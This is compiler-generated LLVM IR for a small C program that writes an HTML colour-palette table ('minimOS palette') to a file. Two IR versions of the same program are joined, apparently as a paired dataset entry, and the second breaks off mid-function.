%66 = load ptr, ptr %19, align 8
%67 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %66, ptr noundef @.str.9)
br label %71
68: ; preds = %51
%69 = load ptr, ptr %19, align 8
%70 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %69, ptr noundef @.str.10)
br label %71
71: ; preds = %68, %65
%72 = load ptr, ptr %19, align 8
%73 = load i32, ptr %10, align 4
%74 = load i32, ptr %11, align 4
%75 = load i32, ptr %12, align 4
%76 = load i32, ptr %6, align 4
%77 = load i32, ptr %3, align 4
%78 = load i32, ptr %5, align 4
%79 = load i32, ptr %9, align 4
%80 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %76, i32 noundef %77, i32 noundef %78, i32 noundef %79)
%81 = load i32, ptr %10, align 4
%82 = sdiv i32 %81, 128
%83 = load i32, ptr %11, align 4
%84 = sdiv i32 %83, 85
%85 = load i32, ptr %12, align 4
%86 = sdiv i32 %85, 128
%87 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %72, ptr noundef @.str.11, i32 noundef %73, i32 noundef %74, i32 noundef %75, i32 noundef %80, i32 noundef %82, i32 noundef %84, i32 noundef %86)
br label %88
88: ; preds = %71
%89 = load i32, ptr %9, align 4
%90 = add nsw i32 %89, 1
store i32 %90, ptr %9, align 4
br label %48, !llvm.loop !6
91: ; preds = %48
br label %92
92: ; preds = %91
%93 = load i32, ptr %5, align 4
%94 = add nsw i32 %93, 1
store i32 %94, ptr %5, align 4
br label %44, !llvm.loop !8
95: ; preds = %44
br label %96
96: ; preds = %95
%97 = load i32, ptr %3, align 4
%98 = add nsw i32 %97, 1
store i32 %98, ptr %3, align 4
br label %40, !llvm.loop !9
99: ; preds = %40
br label %100
100: ; preds = %99
%101 = load i32, ptr %6, align 4
%102 = add nsw i32 %101, 1
store i32 %102, ptr %6, align 4
br label %36, !llvm.loop !10
103: ; preds = %36
%104 = load ptr, ptr %19, align 8
%105 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %104, ptr noundef @.str.12)
%106 = load ptr, ptr %19, align 8
%107 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %106, ptr noundef @.str.7)
store i32 1, ptr %6, align 4
br label %108
108: ; preds = %132, %103
%109 = load i32, ptr %6, align 4
%110 = icmp slt i32 %109, 17
br i1 %110, label %111, label %135
111: ; preds = %108
%112 = load i32, ptr %6, align 4
%113 = mul nsw i32 %112, 15
store i32 %113, ptr %11, align 4
%114 = load ptr, ptr %19, align 8
%115 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %114, ptr noundef @.str.8)
%116 = load i32, ptr %11, align 4
%117 = icmp sgt i32 %116, 127
br i1 %117, label %118, label %121
118: ; preds = %111
%119 = load ptr, ptr %19, align 8
%120 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %119, ptr noundef @.str.9)
br label %124
121: ; preds = %111
%122 = load ptr, ptr %19, align 8
%123 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %122, ptr noundef @.str.10)
br label %124
124: ; preds = %121, %118
%125 = load ptr, ptr %19, align 8
%126 = load i32, ptr %11, align 4
%127 = load i32, ptr %11, align 4
%128 = load i32, ptr %11, align 4
%129 = load i32, ptr %6, align 4
%130 = load i32, ptr %11, align 4
%131 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %125, ptr noundef @.str.13, i32 noundef %126, i32 noundef %127, i32 noundef %128, i32 noundef %129, i32 noundef %130)
br label %132
132: ; preds = %124
%133 = load i32, ptr %6, align 4
%134 = add nsw i32 %133, 1
store i32 %134, ptr %6, align 4
br label %108, !llvm.loop !11
135: ; preds = %108
%136 = load ptr, ptr %19, align 8
%137 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %136, ptr noundef @.str.12)
store i32 0, ptr %3, align 4
br label %138
138: ; preds = %288, %135
%139 = load i32, ptr %3, align 4
%140 = icmp slt i32 %139, 1
br i1 %140, label %141, label %291
141: ; preds = %138
store i32 0, ptr %5, align 4
br label %142
142: ; preds = %284, %141
%143 = load i32, ptr %5, align 4
%144 = icmp slt i32 %143, 2
br i1 %144, label %145, label %287
145: ; preds = %142
store i32 0, ptr %2, align 4
br label %146
146: ; preds = %280, %145
%147 = load i32, ptr %2, align 4
%148 = icmp slt i32 %147, 2
br i1 %148, label %149, label %283
149: ; preds = %146
store i32 0, ptr %8, align 4
br label %150
150: ; preds = %276, %149
%151 = load i32, ptr %8, align 4
%152 = icmp slt i32 %151, 2
br i1 %152, label %153, label %279
153: ; preds = %150
%154 = load ptr, ptr %19, align 8
%155 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %154, ptr noundef @.str.7)
store i32 0, ptr %7, align 4
br label %156
156: ; preds = %270, %153
%157 = load i32, ptr %7, align 4
%158 = icmp slt i32 %157, 2
br i1 %158, label %159, label %273
159: ; preds = %156
store i32 0, ptr %4, align 4
br label %160
160: ; preds = %266, %159
%161 = load i32, ptr %4, align 4
%162 = icmp slt i32 %161, 2
br i1 %162, label %163, label %269
163: ; preds = %160
store i32 0, ptr %6, align 4
br label %164
164: ; preds = %262, %163
%165 = load i32, ptr %6, align 4
%166 = icmp slt i32 %165, 2
br i1 %166, label %167, label %265
167: ; preds = %164
store i32 0, ptr %9, align 4
br label %168
168: ; preds = %258, %167
%169 = load i32, ptr %9, align 4
%170 = icmp slt i32 %169, 2
br i1 %170, label %171, label %261
171: ; preds = %168
%172 = load i32, ptr %4, align 4
%173 = load i32, ptr %3, align 4
%174 = load i32, ptr %4, align 4
%175 = load i32, ptr %3, align 4
%176 = load i32, ptr %4, align 4
%177 = load i32, ptr %3, align 4
%178 = load i32, ptr %4, align 4
%179 = load i32, ptr %3, align 4
%180 = call i32 @bin(i32 noundef %172, i32 noundef %173, i32 noundef %174, i32 noundef %175, i32 noundef %176, i32 noundef %177, i32 noundef %178, i32 noundef %179)
store i32 %180, ptr %10, align 4
%181 = load i32, ptr %7, align 4
%182 = load i32, ptr %6, align 4
%183 = load i32, ptr %5, align 4
%184 = load i32, ptr %7, align 4
%185 = load i32, ptr %6, align 4
%186 = load i32, ptr %5, align 4
%187 = load i32, ptr %7, align 4
%188 = load i32, ptr %6, align 4
%189 = call i32 @bin(i32 noundef %181, i32 noundef %182, i32 noundef %183, i32 noundef %184, i32 noundef %185, i32 noundef %186, i32 noundef %187, i32 noundef %188)
store i32 %189, ptr %11, align 4
%190 = load i32, ptr %9, align 4
%191 = load i32, ptr %8, align 4
%192 = load i32, ptr %9, align 4
%193 = load i32, ptr %8, align 4
%194 = load i32, ptr %9, align 4
%195 = load i32, ptr %8, align 4
%196 = load i32, ptr %9, align 4
%197 = load i32, ptr %8, align 4
%198 = call i32 @bin(i32 noundef %190, i32 noundef %191, i32 noundef %192, i32 noundef %193, i32 noundef %194, i32 noundef %195, i32 noundef %196, i32 noundef %197)
store i32 %198, ptr %12, align 4
%199 = load i32, ptr %3, align 4
%200 = load i32, ptr %2, align 4
%201 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %199, i32 noundef %200)
store i32 %201, ptr %13, align 4
%202 = load i32, ptr %7, align 4
%203 = load i32, ptr %6, align 4
%204 = load i32, ptr %5, align 4
%205 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %202, i32 noundef %203, i32 noundef %204)
store i32 %205, ptr %14, align 4
%206 = load i32, ptr %9, align 4
%207 = load i32, ptr %8, align 4
%208 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %206, i32 noundef %207)
store i32 %208, ptr %15, align 4
%209 = load i32, ptr %13, align 4
%210 = add nsw i32 48, %209
%211 = trunc i32 %210 to i8
store i8 %211, ptr %16, align 1
%212 = load i32, ptr %14, align 4
%213 = add nsw i32 48, %212
%214 = trunc i32 %213 to i8
store i8 %214, ptr %17, align 1
%215 = load i32, ptr %15, align 4
%216 = add nsw i32 48, %215
%217 = trunc i32 %216 to i8
store i8 %217, ptr %18, align 1
%218 = load ptr, ptr %19, align 8
%219 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %218, ptr noundef @.str.8)
%220 = load i8, ptr %17, align 1
%221 = sext i8 %220 to i32
%222 = icmp sgt i32 %221, 51
br i1 %222, label %223, label %226
223: ; preds = %171
%224 = load ptr, ptr %19, align 8
%225 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %224, ptr noundef @.str.9)
br label %229
226: ; preds = %171
%227 = load ptr, ptr %19, align 8
%228 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %227, ptr noundef @.str.10)
br label %229
229: ; preds = %226, %223
%230 = load ptr, ptr %19, align 8
%231 = load i32, ptr %10, align 4
%232 = load i32, ptr %11, align 4
%233 = load i32, ptr %12, align 4
%234 = load i8, ptr %16, align 1
%235 = sext i8 %234 to i32
%236 = load i8, ptr %17, align 1
%237 = sext i8 %236 to i32
%238 = load i8, ptr %18, align 1
%239 = sext i8 %238 to i32
%240 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %230, ptr noundef @.str.14, i32 noundef %231, i32 noundef %232, i32 noundef %233, i32 noundef %235, i32 noundef %237, i32 noundef %239)
%241 = load ptr, ptr %19, align 8
%242 = load i32, ptr %13, align 4
%243 = mul nsw i32 %242, 255
%244 = sdiv i32 %243, 7
%245 = load i32, ptr %14, align 4
%246 = mul nsw i32 %245, 255
%247 = sdiv i32 %246, 7
%248 = load i32, ptr %15, align 4
%249 = mul nsw i32 %248, 255
%250 = sdiv i32 %249, 3
%251 = load i8, ptr %16, align 1
%252 = sext i8 %251 to i32
%253 = load i8, ptr %17, align 1
%254 = sext i8 %253 to i32
%255 = load i8, ptr %18, align 1
%256 = sext i8 %255 to i32
%257 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %241, ptr noundef @.str.15, i32 noundef %244, i32 noundef %247, i32 noundef %250, i32 noundef %252, i32 noundef %254, i32 noundef %256)
br label %258
258: ; preds = %229
%259 = load i32, ptr %9, align 4
%260 = add nsw i32 %259, 1
store i32 %260, ptr %9, align 4
br label %168, !llvm.loop !12
261: ; preds = %168
br label %262
262: ; preds = %261
%263 = load i32, ptr %6, align 4
%264 = add nsw i32 %263, 1
store i32 %264, ptr %6, align 4
br label %164, !llvm.loop !13
265: ; preds = %164
br label %266
266: ; preds = %265
%267 = load i32, ptr %4, align 4
%268 = add nsw i32 %267, 1
store i32 %268, ptr %4, align 4
br label %160, !llvm.loop !14
269: ; preds = %160
br label %270
270: ; preds = %269
%271 = load i32, ptr %7, align 4
%272 = add nsw i32 %271, 1
store i32 %272, ptr %7, align 4
br label %156, !llvm.loop !15
273: ; preds = %156
%274 = load ptr, ptr %19, align 8
%275 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %274, ptr noundef @.str.12)
br label %276
276: ; preds = %273
%277 = load i32, ptr %8, align 4
%278 = add nsw i32 %277, 1
store i32 %278, ptr %8, align 4
br label %150, !llvm.loop !16
279: ; preds = %150
br label %280
280: ; preds = %279
%281 = load i32, ptr %2, align 4
%282 = add nsw i32 %281, 1
store i32 %282, ptr %2, align 4
br label %146, !llvm.loop !17
283: ; preds = %146
br label %284
284: ; preds = %283
%285 = load i32, ptr %5, align 4
%286 = add nsw i32 %285, 1
store i32 %286, ptr %5, align 4
br label %142, !llvm.loop !18
287: ; preds = %142
br label %288
288: ; preds = %287
%289 = load i32, ptr %3, align 4
%290 = add nsw i32 %289, 1
store i32 %290, ptr %3, align 4
br label %138, !llvm.loop !19
291: ; preds = %138
%292 = load ptr, ptr %19, align 8
%293 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %292, ptr noundef @.str.16)
%294 = load ptr, ptr %19, align 8
%295 = call i32 @fclose(ptr noundef %294)
store i32 0, ptr %1, align 4
br label %296
296: ; preds = %291, %23
%297 = load i32, ptr %1, align 4
ret i32 %297
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, ...) #1
declare i32 @bin(i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
!16 = distinct !{!16, !7}
!17 = distinct !{!17, !7}
!18 = distinct !{!18, !7}
!19 = distinct !{!19, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpiogpfunn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [15 x i8] c"128col-sg.html\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"No file!\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"<html>\0A\09<head>\0A\00", align 1
@.str.4 = private unnamed_addr constant [36 x i8] c"\09\09<title>minimOS palette**</title>\0A\00", align 1
@.str.5 = private unnamed_addr constant [18 x i8] c"\09</head>\0A\09<body>\0A\00", align 1
@.str.6 = private unnamed_addr constant [22 x i8] c"\09\09<table border='0'>\0A\00", align 1
@.str.7 = private unnamed_addr constant [9 x i8] c"\09\09\09<tr>\0A\00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"\09\09\09\09<td style='color:\00", align 1
@.str.9 = private unnamed_addr constant [6 x i8] c"black\00", align 1
@.str.10 = private unnamed_addr constant [6 x i8] c"white\00", align 1
@.str.11 = private unnamed_addr constant [56 x i8] c";background-color:rgb(%d,%d,%d);'>S%d<br />%d%d%d</td>\0A\00", align 1
@.str.12 = private unnamed_addr constant [10 x i8] c"\09\09\09</tr>\0A\00", align 1
@.str.13 = private unnamed_addr constant [52 x i8] c";background-color:rgb(%d,%d,%d);'>G%d<br />%d</td>\0A\00", align 1
@.str.14 = private unnamed_addr constant [47 x i8] c";background-color:rgb(%d,%d,%d);'>%c%c%c<br />\00", align 1
@.str.15 = private unnamed_addr constant [82 x i8] c"<span style='font-size:0.7em;background-color:rgb(%d,%d,%d);'>%c%c%c</span></td>\0A\00", align 1
@.str.16 = private unnamed_addr constant [28 x i8] c"\09\09</table>\0A\09</body>\0A</html>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i8, align 1
%17 = alloca i8, align 1
%18 = alloca i8, align 1
%19 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%20 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %20, ptr %19, align 8
%21 = load ptr, ptr %19, align 8
%22 = icmp eq ptr %21, null
br i1 %22, label %23, label %25
23: ; preds = %0
%24 = call i32 @printf(ptr noundef @.str.2)
store i32 1, ptr %1, align 4
br label %309
25: ; preds = %0
%26 = load ptr, ptr %19, align 8
%27 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %26, ptr noundef @.str.3)
%28 = load ptr, ptr %19, align 8
%29 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %28, ptr noundef @.str.4)
%30 = load ptr, ptr %19, align 8
%31 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %30, ptr noundef @.str.5)
%32 = load ptr, ptr %19, align 8
%33 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.6)
%34 = load ptr, ptr %19, align 8
%35 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %34, ptr noundef @.str.7)
store i32 0, ptr %6, align 4
%36 = load i32, ptr %6, align 4
%37 = icmp slt i32 %36, 2
br i1 %37, label %.lr.ph8, label %107
.lr.ph8: ; preds = %25
br label %38
38: ; preds = %.lr.ph8, %102
store i32 0, ptr %3, align 4
%39 = load i32, ptr %3, align 4
%40 = icmp slt i32 %39, 2
br i1 %40, label %.lr.ph5, label %101
.lr.ph5: ; preds = %38
br label %41
41: ; preds = %.lr.ph5, %96
store i32 0, ptr %5, align 4
%42 = load i32, ptr %5, align 4
%43 = icmp slt i32 %42, 2
br i1 %43, label %.lr.ph2, label %95
.lr.ph2: ; preds = %41
br label %44
44: ; preds = %.lr.ph2, %90
store i32 0, ptr %9, align 4
%45 = load i32, ptr %9, align 4
%46 = icmp slt i32 %45, 2
br i1 %46, label %.lr.ph, label %89
.lr.ph: ; preds = %44
br label %47
47: ; preds = %.lr.ph, %84
%48 = load i32, ptr %3, align 4
%49 = mul nsw i32 255, %48
store i32 %49, ptr %10, align 4
%50 = load i32, ptr %6, align 4
%51 = mul nsw i32 170, %50
%52 = load i32, ptr %5, align 4
%53 = mul nsw i32 85, %52
%54 = add nsw i32 %51, %53
store i32 %54, ptr %11, align 4
%55 = load i32, ptr %9, align 4
%56 = mul nsw i32 255, %55
store i32 %56, ptr %12, align 4
%57 = load ptr, ptr %19, align 8
%58 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %57, ptr noundef @.str.8)
%59 = load i32, ptr %11, align 4
%60 = icmp sgt i32 %59, 127
br i1 %60, label %61, label %64
61: ; preds = %47
%62 = load ptr, ptr %19, align 8
%63 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %62, ptr noundef @.str.9)
br label %67
64: ; preds = %47
%65 = load ptr, ptr %19, align 8
%66 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %65, ptr noundef @.str.10)
br label %67
67: ; preds = %64, %61
%68 = load ptr, ptr %19, align 8
%69 = load i32, ptr %10, align 4
%70 = load i32, ptr %11, align 4
%71 = load i32, ptr %12, align 4
%72 = load i32, ptr %6, align 4
%73 = load i32, ptr %3, align 4
%74 = load i32, ptr %5, align 4
%75 = load i32, ptr %9, align 4
%76 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %72, i32 noundef %73, i32 noundef %74, i32 noundef %75)
%77 = load i32, ptr %10, align 4
%78 = sdiv i32 %77, 128
%79 = load i32, ptr %11, align 4
%80 = sdiv i32 %79, 85
%81 = load i32, ptr %12, align 4
%82 = sdiv i32 %81, 128
%83 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %68, ptr noundef @.str.11, i32 noundef %69, i32 noundef %70, i32 noundef %71, i32 noundef %76, i32 noundef %78, i32 noundef %80, i32 noundef %82)
br label %84
84: ; preds = %67
%85 = load i32, ptr %9, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %9, align 4
%87 = load i32, ptr %9, align 4
%88 = icmp slt i32 %87, 2
br i1 %88, label %47, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %84
br label %89
89: ; preds = %._crit_edge, %44
br label %90
90: ; preds = %89
%91 = load i32, ptr %5, align 4
%92 = add nsw i32 %91, 1
store i32 %92, ptr %5, align 4
%93 = load i32, ptr %5, align 4
%94 = icmp slt i32 %93, 2
br i1 %94, label %44, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %90
br label %95
95: ; preds = %._crit_edge3, %41
br label %96
96: ; preds = %95
%97 = load i32, ptr %3, align 4
%98 = add nsw i32 %97, 1
store i32 %98, ptr %3, align 4
%99 = load i32, ptr %3, align 4
%100 = icmp slt i32 %99, 2
br i1 %100, label %41, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %96
br label %101
101: ; preds = %._crit_edge6, %38
br label %102
102: ; preds = %101
%103 = load i32, ptr %6, align 4
%104 = add nsw i32 %103, 1
store i32 %104, ptr %6, align 4
%105 = load i32, ptr %6, align 4
%106 = icmp slt i32 %105, 2
br i1 %106, label %38, label %._crit_edge9, !llvm.loop !10
._crit_edge9: ; preds = %102
br label %107
107: ; preds = %._crit_edge9, %25
%108 = load ptr, ptr %19, align 8
%109 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %108, ptr noundef @.str.12)
%110 = load ptr, ptr %19, align 8
%111 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %110, ptr noundef @.str.7)
store i32 1, ptr %6, align 4
%112 = load i32, ptr %6, align 4
%113 = icmp slt i32 %112, 17
br i1 %113, label %.lr.ph11, label %140
.lr.ph11: ; preds = %107
br label %114
114: ; preds = %.lr.ph11, %135
%115 = load i32, ptr %6, align 4
%116 = mul nsw i32 %115, 15
store i32 %116, ptr %11, align 4
%117 = load ptr, ptr %19, align 8
%118 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %117, ptr noundef @.str.8)
%119 = load i32, ptr %11, align 4
%120 = icmp sgt i32 %119, 127
br i1 %120, label %121, label %124
121: ; preds = %114
%122 = load ptr, ptr %19, align 8
%123 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %122, ptr noundef @.str.9)
br label %127
124: ; preds = %114
%125 = load ptr, ptr %19, align 8
%126 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %125, ptr noundef @.str.10)
br label %127
127: ; preds = %124, %121
%128 = load ptr, ptr %19, align 8
%129 = load i32, ptr %11, align 4
%130 = load i32, ptr %11, align 4
%131 = load i32, ptr %11, align 4
%132 = load i32, ptr %6, align 4
%133 = load i32, ptr %11, align 4
%134 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %128, ptr noundef @.str.13, i32 noundef %129, i32 noundef %130, i32 noundef %131, i32 noundef %132, i32 noundef %133)
br label %135
135: ; preds = %127
%136 = load i32, ptr %6, align 4
%137 = add nsw i32 %136, 1
store i32 %137, ptr %6, align 4
%138 = load i32, ptr %6, align 4
%139 = icmp slt i32 %138, 17
br i1 %139, label %114, label %._crit_edge12, !llvm.loop !11
._crit_edge12: ; preds = %135
br label %140
140: ; preds = %._crit_edge12, %107
%141 = load ptr, ptr %19, align 8
%142 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %141, ptr noundef @.str.12)
store i32 0, ptr %3, align 4
%143 = load i32, ptr %3, align 4
%144 = icmp slt i32 %143, 1
br i1 %144, label %.lr.ph35, label %304
.lr.ph35: ; preds = %140
br label %145
145: ; preds = %.lr.ph35, %299
store i32 0, ptr %5, align 4
%146 = load i32, ptr %5, align 4
%147 = icmp slt i32 %146, 2
br i1 %147, label %.lr.ph32, label %298
.lr.ph32: ; preds = %145
br label %148
148: ; preds = %.lr.ph32, %293
store i32 0, ptr %2, align 4
%149 = load i32, ptr %2, align 4
%150 = icmp slt i32 %149, 2
br i1 %150, label %.lr.ph29, label %292
.lr.ph29: ; preds = %148
br label %151
151: ; preds = %.lr.ph29, %287
store i32 0, ptr %8, align 4
%152 = load i32, ptr %8, align 4
%153 = icmp slt i32 %152, 2
br i1 %153, label %.lr.ph26, label %286
.lr.ph26: ; preds = %151
br label %154
154: ; preds = %.lr.ph26, %281
%155 = load ptr, ptr %19, align 8
%156 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %155, ptr noundef @.str.7)
store i32 0, ptr %7, align 4
%157 = load i32, ptr %7, align 4
%158 = icmp slt i32 %157, 2
br i1 %158, label %.lr.ph23, label %278
.lr.ph23: ; preds = %154
br label %159
159: ; preds = %.lr.ph23, %273
store i32 0, ptr %4, align 4
%160 = load i32, ptr %4, align 4
%161 = icmp slt i32 %160, 2
br i1 %161, label %.lr.ph20, label %272
.lr.ph20: ; preds = %159
br label %162
162: ; preds = %.lr.ph20, %267
store i32 0, ptr %6, align 4
%163 = load i32, ptr %6, align 4
%164 = icmp slt i32 %163, 2
br i1 %164, label %.lr.ph17, label %266
.lr.ph17: ; preds = %162
br label %165
165: ; preds = %.lr.ph17, %261
store i32 0, ptr %9, align 4
%166 = load i32, ptr %9, align 4
%167 = icmp slt i32 %166, 2
br i1 %167, label %.lr.ph14, label %260
.lr.ph14: ; preds = %165
br label %168
168: ; preds = %.lr.ph14, %255
%169 = load i32, ptr %4, align 4
%170 = load i32, ptr %3, align 4
%171 = load i32, ptr %4, align 4
%172 = load i32, ptr %3, align 4
%173 = load i32, ptr %4, align 4
%174 = load i32, ptr %3, align 4
%175 = load i32, ptr %4, align 4
%176 = load i32, ptr %3, align 4
%177 = call i32 @bin(i32 noundef %169, i32 noundef %170, i32 noundef %171, i32 noundef %172, i32 noundef %173, i32 noundef %174, i32 noundef %175, i32 noundef %176)
store i32 %177, ptr %10, align 4
%178 = load i32, ptr %7, align 4
%179 = load i32, ptr %6, align 4
%180 = load i32, ptr %5, align 4
%181 = load i32, ptr %7, align 4
%182 = load i32, ptr %6, align 4
%183 = load i32, ptr %5, align 4
%184 = load i32, ptr %7, align 4
%185 = load i32, ptr %6, align 4
%186 = call i32 @bin(i32 noundef %178, i32 noundef %179, i32 noundef %180, i32 noundef %181, i32 noundef %182, i32 noundef %183, i32 noundef %184, i32 noundef %185)
store i32 %186, ptr %11, align 4
%187 = load i32, ptr %9, align 4
%188 = load i32, ptr %8, align 4
%189 = load i32, ptr %9, align 4
%190 = load i32, ptr %8, align 4
%191 = load i32, ptr %9, align 4
%192 = load i32, ptr %8, align 4
%193 = load i32, ptr %9, align 4
%194 = load i32, ptr %8, align 4
%195 = call i32 @bin(i32 noundef %187, i32 noundef %188, i32 noundef %189, i32 noundef %190, i32 noundef %191, i32 noundef %192, i32 noundef %193, i32 noundef %194)
store i32 %195, ptr %12, align 4
%196 = load i32, ptr %3, align 4
%197 = load i32, ptr %2, align 4
%198 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %196, i32 noundef %197)
store i32 %198, ptr %13, align 4
%199 = load i32, ptr %7, align 4
%200 = load i32, ptr %6, align 4
%201 = load i32, ptr %5, align 4
%202 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %199, i32 noundef %200, i32 noundef %201)
store i32 %202, ptr %14, align 4
%203 = load i32, ptr %9, align 4
%204 = load i32, ptr %8, align 4
%205 = call i32 @bin(i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef 0, i32 noundef %203, i32 noundef %204)
store i32 %205, ptr %15, align 4
%206 = load i32, ptr %13, align 4
%207 = add nsw i32 48, %206
%208 = trunc i32 %207 to i8
store i8 %208, ptr %16, align 1
%209 = load i32, ptr %14, align 4
%210 = add nsw i32 48, %209
%211 = trunc i32 %210 to i8
store i8 %211, ptr %17, align 1
%212 = load i32, ptr %15, align 4
%213 = add nsw i32 48, %212
%214 = trunc i32 %213 to i8
store i8 %214, ptr %18, align 1
%215 = load ptr, ptr %19, align 8
%216 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %215, ptr noundef @.str.8)
%217 = load i8, ptr %17, align 1
%218 = sext i8 %217 to i32
%219 = icmp sgt i32 %218, 51
br i1 %219, label %220, label %223
220: ; preds = %168
%221 = load ptr, ptr %19, align 8
%222 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %221, ptr noundef @.str.9)
br label %226
223: ; preds = %168
%224 = load ptr, ptr %19, align 8
%225 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %224, ptr noundef @.str.10)
br label %226
226: ; preds = %223, %220
%227 = load ptr, ptr %19, align 8
%228 = load i32, ptr %10, align 4
%229 = load i32, ptr %11, align 4
%230 = load i32, ptr %12, align 4
%231 = load i8, ptr %16, align 1
%232 = sext i8 %231 to i32
%233 = load i8, ptr %17, align 1
%234 = sext i8 %233 to i32
%235 = load i8, ptr %18, align 1
%236 = sext i8 %235 to i32
%237 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %227, ptr noundef @.str.14, i32 noundef %228, i32 noundef %229, i32 noundef %230, i32 noundef %232, i32 noundef %234, i32 noundef %236)
%238 = load ptr, ptr %19, align 8
%239 = load i32, ptr %13, align 4
%240 = mul nsw i32 %239, 255
%241 = sdiv i32 %240, 7
%242 = load i32, ptr %14, align 4
%243 = mul nsw i32 %242, 255
%244 = sdiv i32 %243, 7
%245 = load i32, ptr %15, align 4
%246 = mul nsw i32 %245, 255
%247 = sdiv i32 %246, 3
%248 = load i8, ptr %16, align 1
%249 = sext i8 %248 to i32
%250 = load i8, ptr %17, align 1
